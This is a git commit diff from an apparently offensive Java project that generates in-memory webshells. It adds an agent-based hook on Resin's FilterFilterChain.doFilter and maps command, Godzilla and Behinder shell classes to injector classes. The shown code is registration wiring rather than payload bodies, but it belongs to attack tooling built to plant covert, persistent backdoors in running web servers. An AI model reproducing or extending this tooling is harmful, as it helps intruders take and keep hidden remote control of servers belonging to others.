feat: support resin agnet shell(#20)

hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
This commit is contained in:
ReaJason
2025-01-07 20:28:51 +08:00
parent 1dfc28cd33
commit 99c53b6287
11 changed files with 118 additions and 26 deletions
@@ -3,14 +3,18 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair;
@@ -23,16 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/14
*/
public class ResinShell extends AbstractShell {
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)
);
}
@@ -40,11 +43,9 @@ public class ResinShell extends AbstractShell {
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)
);
}
@@ -52,11 +53,9 @@ public class ResinShell extends AbstractShell {
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)
);
}
}